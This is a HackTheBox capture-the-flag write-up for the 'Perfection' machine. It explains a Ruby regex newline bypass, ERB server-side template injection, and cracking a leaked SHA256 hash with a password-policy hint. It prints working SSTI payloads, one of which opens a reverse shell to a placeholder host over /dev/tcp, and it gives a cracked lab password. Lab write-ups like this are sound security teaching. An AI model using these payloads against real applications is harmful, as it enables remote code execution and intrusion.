// HackTheBox

Perfection

Ruby regex per-line-anchor bypass → SSTI (RCE as susan) → cracked password from a leaked hash + mail hint

HackTheBoxEasyLinux Jul 20, 2026 5 min read

Recon

Port Service
22 SSH (OpenSSH 8.9p1 Ubuntu)
80 HTTP (nginx reverse-proxying WEBrick 1.7.0 / Ruby 3.0.2 — Sinatra app)

The web server is a Ruby Sinatra app sitting behind nginx — WEBrick and Ruby 3.0.2 in the banner give that away. The site is a “Weighted Grade Calculator”: /weighted-grade is a form that POSTs to /weighted-grade-calc with five sets of category / grade / weight fields.

A calculator that takes a category name as text and then echoes it back into the results page is the thread to pull. Any app that reflects user-supplied text into a rendered page is a template-injection candidate, and a Ruby/Sinatra app almost certainly renders with ERB — so the category fields are where to push.

Foothold — Ruby regex per-line-anchor bypass -> SSTI (RCE as susan)

Source (main.rb, read post-shell) confirms the whole vuln:

elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && ... # all 5 categories, same regex
    @result = ERB.new("...<%= ... %>...\%</p><p>" + params[:category1] + ": <%= ... %>..."
                       ).result(binding)

Category values are concatenated directly into an ERB template string that’s then .result(binding)‘d — this is server-side template injection (SSTI) by construction: the user input becomes part of the template source, not just a value plugged into it, so any <%= ... %> we smuggle in gets evaluated as Ruby. The only thing standing in the way is that regex, /^[a-zA-Z0-9\/ ]+$/, which appears to forbid the characters an ERB tag needs.

It doesn’t, because of how Ruby anchors work. In Ruby ^ and $ match the start and end of a line, not of the whole string (the whole-string anchors are \A and \z). So if a category value contains a newline, the regex is satisfied as long as any single line fully matches [a-zA-Z0-9\/ ]+ — a benign line like a passes the check while a different line in the same value carries the ERB payload straight into the template.

Payload (category1, raw newlines, urlencoded via curl --data-urlencode):

a
<%= `id` %>
1

Here a and 1 are the innocuous lines that satisfy the anchor, and the middle line does the work. Note the backticks: Ruby’s system() returns a boolean and sends command output to the server’s stdout, not back to us, so backticks (or %x()) are needed to capture stdout into the response. With id confirming code execution, the same backtick trick carries a full reverse-shell command:

a
<%= `setsid -f bash -c 'exec bash -i >& /dev/tcp/<LHOST>/4444 0>&1' </dev/null >/dev/null 2>&1 &` %>
1

The shell landed as susan. She’s already in the sudo group, but sudo -l demands her password — which we don’t have yet, so that’s the next problem to solve.

Privilege Escalation — cracked password from a leaked hash + mail hint

Poking around susan’s home turns up a leftover database: /home/susan/Migration/pupilpath_credentials.db (sqlite3, readable by susan) holds a users table with SHA256 password hashes for five users, including susan’s: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f.

An unsalted SHA256 with no format hint would be near-hopeless to crack, but the hint is sitting in her mailbox. /var/mail/susan (an email from “Tina”) spells out the org’s password policy: {firstname}_{firstname backwards}_{random int 1-1,000,000,000}, with the firstname lowercase. For susan that fixes the entire structure to susan_nasus_<N> with N between 1 and one billion — a finite, fully known keyspace rather than an open-ended guess.

That turns cracking into a simple bounded loop: compute sha256("susan_nasus_" + N) for N in 1..1e9 and compare against her hash. A pure-Ruby brute-forcer does ~2.1M hashes/sec and finds it in ~190s — see exploit/crack_susan.rb. The password is: susan_nasus_413759210.

With a real password in hand, sudo -l returns (ALL : ALL) ALL — susan may run anything as root. sudo cat /root/root.txt grabs the flag directly (a full root shell via sudo bash would work just as well; the flag was all that was needed).

Key Takeaways

  • Ruby (and several other languages) treat ^/$ as per-line, not whole-string, regex anchors — \A/\z are the whole-string equivalents. Any input-validation regex using ^...$ on multi-line-capable input is bypassable by embedding a newline and putting the malicious payload on a different line than the one that satisfies the regex.
  • ERB.new(string_with_user_input).result(binding) is direct SSTI by construction — string concatenation into a template source, not just unescaped variable interpolation.
  • Ruby’s system() returns a boolean and sends command output to the server’s own stdout, not the caller — use backticks (`cmd`) or %x() to capture output into the response.
  • A leaked/committed credentials DB plus a “helpful” policy-announcement email together turned an unrelated leftover artifact into a crackable, well-scoped keyspace (1e9, not infinite) — always check for both a hash and a format hint before assuming a hash is uncrackable.
← All writeups